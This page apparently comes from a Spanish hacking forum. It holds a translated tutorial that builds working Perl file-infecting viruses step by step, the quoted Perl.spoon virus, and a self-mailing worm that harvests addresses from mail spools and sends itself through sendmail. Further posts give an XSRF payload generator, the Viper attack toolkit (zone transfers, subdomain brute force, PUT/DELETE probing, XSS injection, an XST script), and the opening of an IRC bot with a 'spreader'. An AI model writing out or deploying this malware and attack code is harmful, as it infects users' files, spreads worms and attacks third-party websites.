Copiamos el archivo entero en $Temp y lo cerramos. Entonces buscamos en la primer y segunda linea (@Temp[0] y @Temp[1]) por la palabra "perl" (Las mayusculas/minusculas no se ignoran, pero hasta ahora no encontre metodos de comparacion de strings que ignoren mayusculas/minusculas, pero seguire buscando), para ver si tenemos un archivo perl.  /*Nota del traductor: La frase del parentesis no la entendi muy bien, pero despues de pensar un rato estoy casi seguro que quiere decir eso ^^ */
El resto es como en el ejemplo anterior. Hay 2 cosas que podriamos agregar para buscar los archivos. La primera es ver si son ejecutables (if(-x $FileName)), pero como creo que no podemos chequear esto en Windows, y hay gente como yo que corren sus archivos perl con el interprete y no setean el flag 'ejecutable', no lo hare. La otra cosa que podriamos hacer es ver con el comando 'file' de Linux si el archivo es un script perl. Pero esto tampoco funcionara en Windows, asique no lo hare.
Bueno, creo que ya entendimos las bases. Ahora olvidemosnos de esta mierda de overwritting y empezemos a hacer algo mas serio: prepending (aiƒÂ±adidura?) /*Nota del autor: prepending=aiƒÂ±adidura? Es aiƒÂ±adir al principio, pero no supe si traducirlo asi o no*/

Código: perl
#!/usr/bin/perl
#PerlDemo                   # NUEVO

open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...27];      # NUEVO
close(File);

foreach $FileName (<*>)
{
  if ((-r $FileName) && (-w $FileName) && (-f $FileName))
  {
   open(File, "$FileName");
   @Temp=<File>;
   close(File);
   if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))  # NUEVO
   {
    if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
    {
     open(File, ">$FileName");
     print File @Virus;
     print File @Temp;         # NUEVO
     close (File);
    }
   }
  }
}


Esta vez he marcado las lineas nuevas, porque no cambio mucho. El primer cambio es que obtenemos solo las primeras 24 lineas del archivo que esta corriendo (el infectado). Esto es porque tambien aiƒÂ±adiremos el archivo original al que infectamos. El segundo cambio es que agregamos el archivo original al virus mientras infectamos. Entonces el nuevo archivo iniciara con el virus, despues una linea vacia y despues el archivo vieja, que empieza con #!/usr/bin/perl o lo que sea ;-)
Buscar "PerlDemo" sirve para ver si el archivo ya ha sido infectado por nosotros.
Normalmente empezaria a ver como se puede optimizar, pero aqui no podemos hacer mucho, juntar las lineas es lo unico que se me ocurre:

Código: perl
#!/usr/bin/perl #PerlDemo
open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus;
print File @Temp; close (File); } } } }


Esto nos salva de unos saltos de linea solamente y no esta tan bueno =P
Agreguemos algunas cosas que esten buenas para el virus, como viajar entre directorios. Primero lo haremos hacia abajo, echemos un vistazo:

Código: perl
#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...24];
close(File);

&InfectFile;                # NUEVO
chdir('..');                # NUEVO
&InfectFile;                # NUEVO

sub InfectFile {            # NUEVO
  foreach $FileName (<*>) {
   if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
     if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) {   # NUEVO
      open(File, ">$FileName");
      print File @Virus;
      print File @Temp;
      close (File);
}}}}}


Que hemos hecho? El primer cambio que vemos es que colocamos las
rutinas de busqueda de archivos y de infeccion en un sub, que llamamos
2 veces desde el main.
Otro cambio es chdir('..') que nos coloca un
directorio mas abajo. Esto tendria que funcionar bien en sistemas
Unix/Linux/DOS/Windows, pero no en MacOS, porque este usa '::'. Triste
pero verdadero, perl no es tan portable como quisieramos =P
Otro
cambio esta dentro de la busqueda de archivos (@Temp[1]= ~ "perl",,i).
,,i significa que buscaremos la cadena perl ignorando mayusculas y
minusculas, asique tambien encontraremos archivos perl que empiezen con
#C:\Programme\Perl\Perl.exe. El, llamemosle bug, de este virus es que
no podremos vovler al directorio anterior. Este es otro problema
causado por la incompatibilidad entre los diferentes sistemas
operativos. En Unix/Linux podemos conseguir el directorio actual
haciendo $CurPath=`pwd`, pero esto no funcionaria en Windows o MacOS.
Afortunadamente podemos saber en que SO estamos corriendo con la
variable $^0, que existe desde Perl 5.0002. El codigo que sigue nos
dira si estamos corriendo en una maquina con DOS, Windows, Linux, BSD o
Solaris.

Código: perl
#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...30];
close(File);

&InfectFile;
if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd` }       # NUEVO
if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` }                            # NUEVO
$DotDot = '..';                                                                         # NUEVO
if ($^O =~ "MacOS") { $DotDot = "::" }                                                  # NUEVO
chdir($DotDot);                                                                         # NUEVO
&InfectFile;
chdir($OldDir);                                                                         # NUEVO

sub InfectFile {
  foreach $FileName (<*>) {
   if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
     if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
      open(File, ">$FileName");
      print File @Virus;
      print File @Temp;
      close (File);
}}}}}


Bien, si el sistema es BSD, Linux o Solaris, conseguimos el directorio actual con el comando pwd, que es un comando comunmente usado que devuelve la ruta actual. En Windows lo hacemos con cd, que se usa para cambiar de directorio pero tambien sirve para conseguir la ruta actual. Entonces ponemos los dos puntos '..' como se usan en cualquier SO, expto MacOS, asique ponemos '::' si estamos corriendo en una Mac. Tal vez seria mejor hacer 2 chequeos, uno para Mac y usar los dos puntos, uno para DOS, Windows y OS/2 para usar cd para obtener la ruta, y para todo lo demas usamos pwd para obtener la ruta, ya que hay muchas versiones de BSD y Unix en las que se soporta perl y en todas funciona el comando pwd.
Si quisieramos viajar hacia arriba tenemos el mismo problema: diferentes sistemas operativos=diferentes formas de expresar su directorio raiz. Linux tiene uno solo, /, Windows y DOS tienen uno para cada disco, A:, C:, D:, y por lo que se Mac no tiene ninguno. Con el siguiente code tratare te manejar esto problemas:

Código: perl
#!/usr/bin/perl
  # Perl - Get'em'all Virus
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...46];
close(File);

&InfectFile;
if ($^0 =~ "MacOS") {
  chdir('::');
  &InfectFile; }
else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) {
  $OldDir = `cd`;
  chdir('..');
  &InfectFile;
  chdir('C:\');
  &SearchUpperDirectorys;
  chdir($OldDir);}
else {
  $OldDir = `pwd`;
  chdir("/");
  &SearchUpperDirectorys;
  chdir($OldDir);}}

sub InfectFile {
  foreach $FileName (<*>) {
   if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
     if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
      open(File, ">$FileName");
      print File @Virus;
      print File @Temp;
      close (File);
}}}}}

sub SearchUpperDirectorys {
  foreach $Directory (<*>) {
   if ((-r $Directory) && (-w &Directory ) && (-d $Directory) {
    chdir ($Directory);
    &InfectFile;
    chdir ('..')
}}}


Bien, si estamos en MacOS hemos infectado el directorio mas bajo. Si estamos en DOS o Windows infectamos la carpeta mas abajo y empezamos a buscar por otras en C:\. Despues de eso volvemos al directorio antiguo. En todos los demas sistemas buscamos el raiz de estos. Despues volvemos al directorio original.
Wow, primero que nada quiero empezar a analizar sintacticamente las variables Path que contienen todos los directorios que seran buscados cuando quieran correr un ejecutable, pero con todos estos problemas de incopatibilidad...mejor mas tarde.
Ahora quiero ver el virus del que hable antes, el que encontre en internet. El AV detecta esta cosa como Perl.spoon, y fue creada por PaddingX. Espero que este bien para el que muestre el codigo, pero no se como contactarlo. Asique si esta leyendo esto y queres que lo saque avisame! /*Nota del traductor: Realmente al pedo traducir esto, pero bueh, asi esta todo completito =P */
AiƒÂ±adi algunos comentarios para que se entienda el codigo, estos estan marcados con una S

Código: perl
#!/usr/bin/perl
use File::Find;             #S El usa un modulo para encontrar archivos, esta incluido en todas las instalaciones de perl
&virus();                   #S llamada de la sub Virus
                             #S despues de que se ejecute la sub virus vemos un pequeiƒÂ±o payload
print "
This program is infected by the Perl virus
";

sub virus                   #S empieza la parte del virus
   {
     my ( $pid, $new );      #S define variables locales
     if( $pid = fork ) { return; }
     else
       {
         open( source, $0 );        #S abre el virus
         finddepth ( \&infect, '/home/chris/test' );    #S '/home/chris/test' es donde los archivos deberian estar infectados
         sub infect
             {
             open target, "$File::Find::name";          #S abrir el archivo que queremos infectar
             $_ = <target>;                             #S leerlo en una string
             if ( /(\#!.*perl)/ )                       #S ver si tenemos #! xxxx perl en la primera linea --> chequear si es un archivo perl
             {
                 $_ = <target>;                         #S leer la segunda linea
                 if( $_ ne "use File::Find;
" )        #S si es use File::Find (usa ese modulo) no sera infectado --> marca de infeccion
                   {
                     $new = $1 . "
use File::Find;
&virus();
" . $_;  #S Escribe las primeras 2 lineas del virus en $NEW
                     while( <target> ) { $new = $new . $_; }    #S Escribe el archivo que infectamos en $NEW
                     seek(  source, 0, 0 );
                      while( <source> ne "sub virus
" ) { };   #S Lee el archivo hasta encontrar el virus
                      $new = $new . "
sub virus
";            #S escribe 'sub virus' en $NEW
                      while( <source> ) { $new = $new . $_; }   #S aiƒÂ±ade el resto del virus a $NEW
                      close  target;                        #S cierra el archivo que infectamos
                      open   target, ">$File::Find::name";  #S lo abre devuelta para escritura
                      print  target $new;                   #S escribe $NEW en el archivo
                   }
               }
             close( target );    #S cierra el archivo infectado
           }
         close( source );        #S cierra el virus
         exit( 0 );              #S sale del programa
       }
  }

# a Perl virus, by paddingx
# 08/15/1999



Bueno, como vemos el virus es de aiƒÂ±adidura. Escribe una llamada al virus al principio y aiƒÂ±ade el resto al archivo. Esto es como la vieja infeccion de aiƒÂ±adidura Com en DOS
El archivo infectado se vera asi:

[ Stub :
    #!/usr/bin/perl
    use File::Find;
    &virus();           ]
[... Original File ... ]
[ .. virus procedure ..]

Aun si solo corre en Unix es una linda pieza de codigo, porque pienso que es posible usar tecnicas EPO con este tipo de infeccion, buscando por un call (&Procedure) y cambiandolo por el virus y poner un call as procedure original al final del virus...
Bueno, ahora viene el ultimo pedazo de codigo, solamente para mostrar otra cosa simple que se puede hacer con perl, porque todo el mundo dice que Worms auto-enviables por mail es una cosa que solo se puede hacer con lenguajes script de windows.
Esto es un worm auto-enviable que usa sendmail y asume que los mails estan en /var/spool/mail/. Tal vez alguien, que sepa mas de linux que yo, puede intentar modificarlo para obtener la carpeta de mails de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: perl
#!/usr/bin/perl
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...29];
close(File);

foreach $FileName (</var/spool/mail/*>) {
  if ((-r $FileName) && (-f $FileName)) {
   open(File, "$FileName");
   @test1=<File>;
   close(File);
   @ReceiverList = grep /From:/, @test1;
   foreach $Receiver2 (@ReceiverList){
    @Receiver = split(/:/, $Receiver2);
    @Addy = split(/</, @Receiver[1]);
    open(File,">PerlWurm");
    print File "Hi@Addy[0]
";
    print File "take a look at this perl script
and see what is possible to do
in perl..
";
    print File " cu soon

";
    print File @Virus;
    print File ".
";
    close(File);

    chomp(@Addy[1]);
    chop(@Addy[1]);
    $x = `sendmail @Addy[1] < PerlWurm`;
}}}


#28
Perl / XSRF Generator By Xianur0
Enero 27, 2011, 08:48:52 PM
Código: perl
#!/usr/bin/perl

#By Xianur0
#uxmal666[at]gmail.com

  use HTML::Parser;
$i = 1;
$b = 1;
my $parser = HTML::Parser->new(api_version=>3,
start_h=>[\&parsear, 'tag, attr'] ,);
print "\n\n                                       Generador XSRF By Xianur0\n\n\n";

$file = $ARGV[0] || die("Use: xsrf.pl [File]\n");

open(FILE,$file) || die "No pudo abrirse: $!";
while(<FILE>) {
$html.= $_;
}
print "\nBuscando Campos....\n";
sub parsear {
     my ($tag, $attr) = @_;
if($tag =~ "form") {
$name = $attr->{"name"};
$valor = $attr->{"action"};
$metodo = $attr->{"method"};
if($metodo eq "") { $metodo = "GET"}
print "\nFormulario ".$b.": ".$name."=>".$valor."=>".$metodo."\n";
    $form{$b} = [$name, $metodo];
$b++;
}
if($tag =~ "input") {
$name = $attr->{"name"};
$valor = $attr->{"value"};
print "Campo ".$i.": ".$name."=>".$valor."\n";
    $input{$i} = [$name, $valor];
$i++;
}
}
$parser->parse($html);
print "\nTerminado Archivo Parseado!..\n\n";
print "\nEscribe el Formulario a utilizar:\n";
$forma=<STDIN>;
chop($forma);
print "Cuantos Campos(input) utilizara?\n";
$cantidad=<STDIN>;
chop($cantidad);
for($o=1;$o<=$cantidad;$o++)
{
print "Formulario $o?\n";
$inputa=<STDIN>;
chop($inputa);
print "Desea Cambiar el Value? [y/n]\n";
$respuesta=<STDIN>;
chop($respuesta);
if($respuesta eq "y") {
print "Escriba el Nuevo Valor:\n";
$valu=<STDIN>;
chop($valu);
} else { $valu = $input{$inputa}[1]; }
$campos .='<input type="hidden" name="'.$input{$inputa}[0].'" value="'.$valu.'">';
}
print "Url Submit?\n";
$url=<STDIN>;
chop($url);
print "Generando XSRF Espere Por Favor...\n";
$xsrf = '<!-- XSRF Generator By Xianur0 -->
<form name="'.$form{$forma}[0].'" action="'.$url.'" method="'.$form{$forma}[1].'">'.$campos.'</form>
<script>document.'.$form{$forma}[0].'.submit()</script>';
open(LECTURA,">> xsrf.htm") || die "No pudo abrirse: $!";
print LECTURA $xsrf;
close(LECTURA);
print "\n\nGenerado!: xsrf.html\n\n";


ejemplo estupido de uso:
entro a google y descargo el index:
despues:

Código: php
bt Desktop # perl xsrf.pl google.html


                                       Generador XSRF By Xianur0



Buscando Campos....

Formulario 1: f=>/search=>GET
Campo 1: hl=>es
Campo 2: q=>
Campo 3: btnG=>Buscar con Google
Campo 4: btnI=>Voy a tener suerte
Campo 5: meta=>
Campo 6: meta=>lr=lang_es
Campo 7: meta=>cr=countryMX

Terminado Archivo Parseado!..


Escribe el Formulario a utilizar:
1
Cuantos Campos(input) utilizara?
6
Formulario 1?
1
Desea Cambiar el Value? [y/n]
y
Escriba el Nuevo Valor:
en
Formulario 2?
2
Desea Cambiar el Value? [y/n]
y
Escriba el Nuevo Valor:
Xianur0
Formulario 3?
3
Desea Cambiar el Value? [y/n]
n
Formulario 4?
5
Desea Cambiar el Value? [y/n]
n
Formulario 5?
6
Desea Cambiar el Value? [y/n]
n
Formulario 6?
7
Desea Cambiar el Value? [y/n]
n
Url Submit?
http://www.google.com/search
Generando XSRF Espere Por Favor...


Generado!: xsrf.html


Resultado:

Código: php
<!-- XSRF Generator By Xianur0 -->
<form name="f" action="http://www.google.com/search" method="GET"><input type="hidden" name="hl" value="en"><input type="hidden" name="q" value="Xianur0"><input type="hidden" name="btnG" value="Buscar con Google"><input type="hidden" name="meta" value=""><input type="hidden" name="meta" value="lr=lang_es"><input type="hidden" name="meta" value="cr=countryMX"></form>
<script>document.f.submit()</script>


y se hace una busqueda con mi nick xD...

Saludos!
#29
Perl / Viper 0.1 Priv8 Tool By Xianur0
Enero 27, 2011, 08:48:15 PM
Código: perl
#!/usr/bin/perl


  use MIME::Base64::Perl;
  use IO::Socket::SSL;
  use Net::DNS;
  use Net::DNS::RR;
  use NetAddr::IP;
  use LWP::UserAgent;
  use Socket;
  use HTTP::Request::Common;
  use XML::Simple;
  use Getopt::Std;
  use HTML::LinkExtor;
  use URI::URL;
  use HTML::Parser;
  use Data::Dumper;
  use Term::ANSIColor qw(:constants);
    $Term::ANSIColor::AUTORESET = 1;

#Viper By Xianur0
#[email protected]

#CONFIGURACION:
#------------------------------------------
$ver = "0.3";
$useragent = "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";
%whoisserver = (
         'com', 'whois.crsnic.net',
         'net', 'whois.crsnic.net',
         'edu', 'whois.crsnic.net',
         'org', 'whois.publicinterestregistry.net',
         'info', 'whois.rotld.ro',
'mx', 'whois.nic.mx');
$ua = LWP::UserAgent->new;
my $lib = XMLin("libs/lib.xml");
#-------------------------------------------
    print BOLD RED  "\n                                ..::Viper By Xianur0::..\n\n";
my $host = $ARGV[0];
$host = shift || die "[-]Uso: dns.pl [dominio] [opciones]\nOpciones:\n-h HTTP AttackToolKit\n-w Ataque Whois\n-d Ataque DNS\n-a Ejecuta Todo lo Anterior\n-x Testear XSS Mixto\n-t Spider y Testeo de codigo (BETA) [host] -t [path]\n-i Scanner de Paths y RSS (BETA) [host] -i [path]\n";
my $path = $ARGV[1];
my $urlp = "http://".$host.$path;
new NetAddr::IP($host) || die "Error: IP o Dominio Incorrecto!\n";
print "\n[-]Inicio del Scanneo: ". localtime()."\n";
        my $opt_string = 'whdtaxi';
        getopts( "$opt_string", \%opt );
        whois() if $opt{w};
        dns() if $opt{d};
        http() if $opt{h};
        todo() if $opt{a};
        xss() if $opt{x};
        info() if $opt{i};
        print "[-]Lanzando Spider!\n". spider($urlp) if $opt{t};
        print "[-]Fin del Scanneo: ". localtime(). "\n";

sub dns() {
&soa;
&mx;
&txt;
&ns;
&hinfo;
&dnsrotativo;
&any;
&zonas;
&xss();
}
sub todo() {
info();
whois();
dns();
http();
xss();
print "[-]Lanzando Spider!\n";
spider($urlp);
}

sub dnsrotativo {
print "[-]Buscando DNS Rotativos (Mediante PTR)...:\n";
my $consulta = new NetAddr::IP($host);
&consultar;
my $inicial = $ipaddr;
&consultar;
while($inicial ne $ipaddr) { &consultar; }
}

sub consultar {
my $consulta = new NetAddr::IP($host) || die "Error: IP o Dominio Incorrecto!\n";
my $resolver = Net::DNS::Resolver->new;
my $hosts = $consulta->num();
for (my $i=0; $i<$hosts; ++$i) {
$ipaddr = $consulta->addr();
if ($ipaddr) {
my $consulta = $resolver->search("$ipaddr");
if ($consulta) {
foreach my $array ($consulta->answer) {
next unless $array->type eq "PTR";
print "IP: $ipaddr\n","Host: " ,$array->ptrdname, "\n\n"; }
} }}
}

sub soa {
print "[-]Registro SOA:\n";
  my $resolver   = Net::DNS::Resolver->new;
  my $consulta = $resolver->query($host, "SOA");
  if ($consulta) {
      ($consulta->answer)[0]->print;
  }
print "\n\n";
}

sub zonas {
if($sdns[0] eq "") { $sdns[0] = $ipaddr;}
   foreach $dnsa (@sdns) {
print "[-]Intentando Ataque AXFR....: Usando: $dnsa...";
  my $consulta = Net::DNS::Resolver->new;
  $consulta->nameservers($dnsa);
  my @zonas = $consulta->axfr($host);
if(!@zonas) { print "Error!..........\n"; &detectarcomodin; } else {
  foreach $array (@zonas) {
      $dat = $array->string;
if($dat =~ "127.0.0.1") {
    print BOLD RED "\n\n[-]Vulnerable a XSS Mixto!\n         [-] $dat\n\n\n";
}
print $dat."\n";
  }     print BOLD RED  "\nVulnerado :D!\n\n";}
print "\n\n";
} }

sub ns {
  my $consulta   = Net::DNS::Resolver->new;
  my $consulta = $consulta->query($host, "NS");
  if ($consulta) {
print "[-]Servidores DNS:\n";
      foreach $array (grep { $_->type eq 'NS' } $consulta->answer) {
print $array->nsdname ."\n";
@sdns = (@sdns, $array->nsdname);
      }
  }
print "\n\n";
}

sub hinfo {
  my $consulta   = Net::DNS::Resolver->new;
  my $consulta = $consulta->query($host, "HINFO");
  if ($consulta) {
print "\n[-]Registro HINFO:\n";
      foreach $array ($consulta->answer) {
      $array->print;
      }}
print "\n\n";
}

sub mx {
  my $resolver   = Net::DNS::Resolver->new;
  my $consulta = $resolver->query($host, "MX");
  if ($consulta) {
print "\n[-]Servidores de Correo: \n";
      foreach $array ($consulta->answer) {
      $array->print;
}
print "\n";
}
}

sub txt {
  my $resolver   = Net::DNS::Resolver->new;
  my $consulta = $resolver->query($host, "TXT");
  if ($consulta) {
print "\n[-]Registro TXT (Configuracion MX): \n";
      foreach $array ($consulta->answer) {
      $array->print;
}
print "\n\n";
}
}

sub any {
print "[-]Obteniendo informaciiƒÂ³n Extra:\n";
  my $resolver   = Net::DNS::Resolver->new;
  my $consulta = $resolver->query($host, "ANY");
  if ($consulta) {
      foreach $array ($consulta->answer) {
      $array->print;
  }}
print "\n\n";
}

sub detectarcomodin {
my $consulta = new NetAddr::IP("dnshunterxianur0.$host");
if($consulta) { print "\nServidor Protegido contra DNS Brutes Forces...."; &brute2; } else { print RED  "No Se Detecto Comodin :).\n"; brute();}
}

sub brute() {
if($brute ne "on") {
$brute = "on";
$db = 'libs/db.txt';
my $sub;
open(SUBS, $db) || die "No existe la DB!\n";
if($host =~  "www.") {
my @dat = split("www.", $host);
$hostts = $dat[1];
}
else { $hostts = $host; }
while($sub = <SUBS>){
chomp($sub);
$remoto = "$sub.$hostts";
my $consulta = new NetAddr::IP($remoto);
if($consulta) { print "$remoto existe!\n"; $is = $consulta->addr();
if($is eq "127.0.0.1") {
    print BOLD RED "\n\n[-]Vulnerable a XSS Mixto!\n         [-] $remoto : 127.0.0.1\n\n\n";
}

&robots;}

}
close(SUBS);
}}

sub brute2 {
$url = "detectarcomodinesenlosregistroshost.$host";
  $req = HTTP::Request->new(GET => $url);
  &headers;
  $res = $ua->request($req);
$estado = $res->code;

if ($estado != ""){
     print "Servidor Protegido Contra Brutes Forces en el Header Host del HTTP :(...\n";
}
else {&brute3; }
}

sub headers {
  $req->header('Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5');
  $req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
  $req->header('Keep-Alive' => '300');
  $req->header('Connection' => 'keep-alive');
  $req->header('Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
}

sub brute3 {
$db = 'db.txt';
my $sub;
open(SUBS, $db) || die "No existe la DB!";
while($sub = <SUBS>){
chomp($sub);
$remoto = "$sub.$host";
my $proto = getprotobyname('tcp');
my $ipaddr = inet_aton($remoto);
my $paddr = sockaddr_in(80, $ipaddr);
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
$conected = connect(SOCKET, $paddr);
close SOCKET;
  if ($conected) {
     print "$remoto Existe!\n";

  }
}
close(SUBS);
}

sub robots {
  $req = HTTP::Request->new(GET => "http://$host/robots.txt");
  &headers;
  $res = $ua->request($req);
  if ($res->is_success) {
if($res->content_type eq 'text/plain' && $res->content != "") {
     print "--------------------------------------------------------------------------------------\n".$res->content."\n--------------------------------------------------------------------------------------\n";
  }
}
}
sub http() {
use IO::Socket;
print "\n[-]HTTP Attack ToolKit: \n\n";
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp',  Timeout=>'1', );
if(!$sock) {print "No se Pudo Conectar a $host!\n"; } else {
print $sock "OPTIONS / HTTP/1.1\nHost: $host\n\n";
print "-----------------------Headers--------------------------\n";
while ($linea = <$sock>) {
if ($linea =~  "HTTP/1.") {
print "Estado De Respuesta: ".$linea;
}
if ($linea =~  /Server:/) {
print $linea;
for( @{$lib->{server}} ) {
if ($linea =~  "$_->{banner}") { print "Tipo de Servidor: $_->{nombre}\n"; }
}
}
for( @{$lib->{header}} ) {
if ($linea =~  "$_->{banner}") {
if($linea !~ "<") {
my @header = split(": ", $linea);
print "$_->{nombre}".$header[1];
}
}
}
}
close($sock);
print "-------------------------------------------------\n\n";
#PUT
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp',  ); die "No se Pudo Conectar a $host!\n" unless $sock;
print $sock "PUT /hacked.htm HTTP/1.1\nHost: $host\nContent-Length: 38\n\r\n\r<h1>Vulnerado por DNS Hunter 0.2</h1>\n\r\n\r";
@linea = (<$sock>);
for( @{$lib->{estado}} ) {
if ($linea[0] =~  $_->{numero}) {
print "[-]Vulnerable a PUT!!....\n      Estado de Respuesta: $_->{numero}\n\n";
}
}
close($sock);
#TRACE
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', Timeout=>'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;
print $sock "TRACE / HTTP/1.1\nHost: $host\n\r\n\r";
while ($linea = <$sock>) {
if ($linea =~  "message/http") {
print "[-]Vulnerable a TRACE!.....:\nCodigo XST de Demostracion:.\n------------------------------------------\n<script>\nvar xmlhttp = new XMLHttpRequest();\n//var xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');\nActiveXObject('Microsoft.XMLHTTP');\nxmlhttp.open('TRACE','http://$host/',false);\nxmlhttp.send(null);\ntext=xmlhttp.responseText;\ndocument.write(text);\n</script>\n------------------------------------------\n\n";
}
      }
close($sock);
#DELETE
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp',  Timeout=>'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;
print $sock "DELETE /hacked.htm HTTP/1.1\nHost: $host\n\r\n\r";
@linea = (<$sock>);
for( @{$lib->{estado}} ) {
if ($linea[0] =~  $_->{numero}) {
print "[-]Vulnerable a DELETE!!....\n      Estado de Respuesta: $_->{numero}\n\n";
}
}
close($sock);
}}

sub whois() {
my @hosts = split(/\./, $host);
$extencion = pop(@hosts);
$whoisserver = $whoisserver{$extencion};
if($whoisserver eq "") {print "Whois No Disponible para la Extencion: $extencion";} else {
my $sock = new IO::Socket::INET ( PeerAddr => $whoisserver, PeerPort => 43, Proto => 'tcp',  Timeout=>'10', );
print $sock "=".$host."\n";
print "\n[-]Whois ($whoisserver): \n-------------------------<Whois>----------------------------\n\n";
while ($linea = <$sock>) {
if($linea =~ $host) {
print "Server: $linea";
}
if($linea =~ "Whois Server") {
my @dato = split(": ", $linea);
chop($dato[1]);
print "Server Whois Interno: $dato[1]";
my $who = new IO::Socket::INET ( PeerAddr =>$dato[1], PeerPort => 43, Proto => 'tcp',  Timeout=>'10', );
if($who) {
print $who $host."\n";
print "\n[-]<Whois Interno de $host>\n\n";
print <$who>;
print "\n\n[-]</Whois Interno de $host>\n\n";
}
} else {
for( @{$lib->{whois}} ) {
if ($linea =~  "$_->{etiqueta}") {
my @dato = split(": ", $linea);
print "$_->{imprimir}".$dato[1]; }
}
}}
print "\n-------------------------</Whois>----------------------------\n\n";
}}

sub spider() {
my $hostt=shift;
if($lista{$hostt} ne $hostt) {
$lista{$hostt} = $hostt;
  my @nexo = ();
  sub tags {
     my($tag, %attr) = @_;
     return if $tag ne 'a';
     push(@nexo, values %attr);
  }
  $p = HTML::LinkExtor->new(\&tags);
  $ua = LWP::UserAgent->new;
  $ua->agent($useragent);
  $res = $ua->request(HTTP::Request->new(GET => $hostt),
                      sub {$p->parse($_[0])});
  if(!$res->is_success) { print YELLOW  "\nUser-Agent: $useragent Bloqueado!\n"; } else {
  my $base = $res->base;
  @nexo = map { $_ = url($_, $base)->abs; } @nexo;
   foreach $url (@nexo) {
my @dat = split("/", $url);
if($dat[0] eq "") { $url = "http://".$host.$url;}
  $url =~ s'='=-1 <script>alert(Fenix)</script> -1'g;
  $req = HTTP::Request->new(GET => $url);
  $req->header('Accept' => 'text/html');
  $res = $ua->request($req);
  if ($res->is_success) {
    $contenido = $res->content;
for( @{$lib->{http}} ) {
if ($contenido =~  "$_->{etiqueta}") {
print "\n\nBug Detectado: $_->{imprimir}".$url."\n\n"; }
}
  }
spider($url);
}
}
}}

sub xss(){
$xssmixto = new NetAddr::IP('localhost.'.$host) || exit;
$ipv = $xssmixto->addr();
if($ipv eq "127.0.0.1") {
print BOLD RED  "\n[-]Vulnerable a XSS Mixto!\n[-]localhost.$host: $ipv\n\n\n";
}
}


sub info() {
    my $lib = XMLin("libs/lib.xml");
    $Term::ANSIColor::AUTORESET = 1;
    $ua = LWP::UserAgent->new;
    my $useragent = "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";
    my $web = $urlp;
my $parser = HTML::Parser->new(api_version=>3,
start_h=>[\&parsear, 'tag, attr'] ,);
$useragent = "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";

&tempse;
&cms;

sub tempse {
print RED "\nLoading Dictionary....\n";
my $temp;
open(TEMPS, "libs/temps.txt") || die "No existe la DB!\n";
while($temp = <TEMPS>){
chomp($temp);
$tempurl = $web."/".$temp;
  $req = HTTP::Request->new(HEAD => $tempurl);
  $req->header('Accept' => 'text/html');
  $ua->agent($useragent);
  $res = $ua->request($req);
  if ($res->is_success) {
print "Interesting File Found: ".$tempurl."\n";
  }
}
}

sub cms {
  my $p = new HTML::Parser;
  $req = HTTP::Request->new(GET => $web);
  $req->header('Accept' => 'text/html');
  $ua->agent($useragent);
  $res = $ua->request($req);
  if($res->is_success) {
$html = $res->content;
sub parsear {
     my ($tag, $attr) = @_;
if($tag =~ "link") {
$type = $attr->{"type"};
if($type =~ "application/") {
$href = $attr->{"href"};
if($href !~ "http://") { $href = "http://$host/$href";}
print "RSS: ".$rss."\n";
}
}
}

}}}
#30
Perl / Perl BotWeb
Enero 27, 2011, 08:47:10 PM
Código: perl
#!/usr/bin/perl

                            ############################

                            ##  pearlb0t by Mindfuck  ##

################################################################################
############################################

#

#    V 0.7b    -Orginally writen by some guy i dont know, found 4 or 5 different versions on /tmp's, and no one worked...

#             So i decided to learn perl and fix things up...

#            - Fixed the Spreader

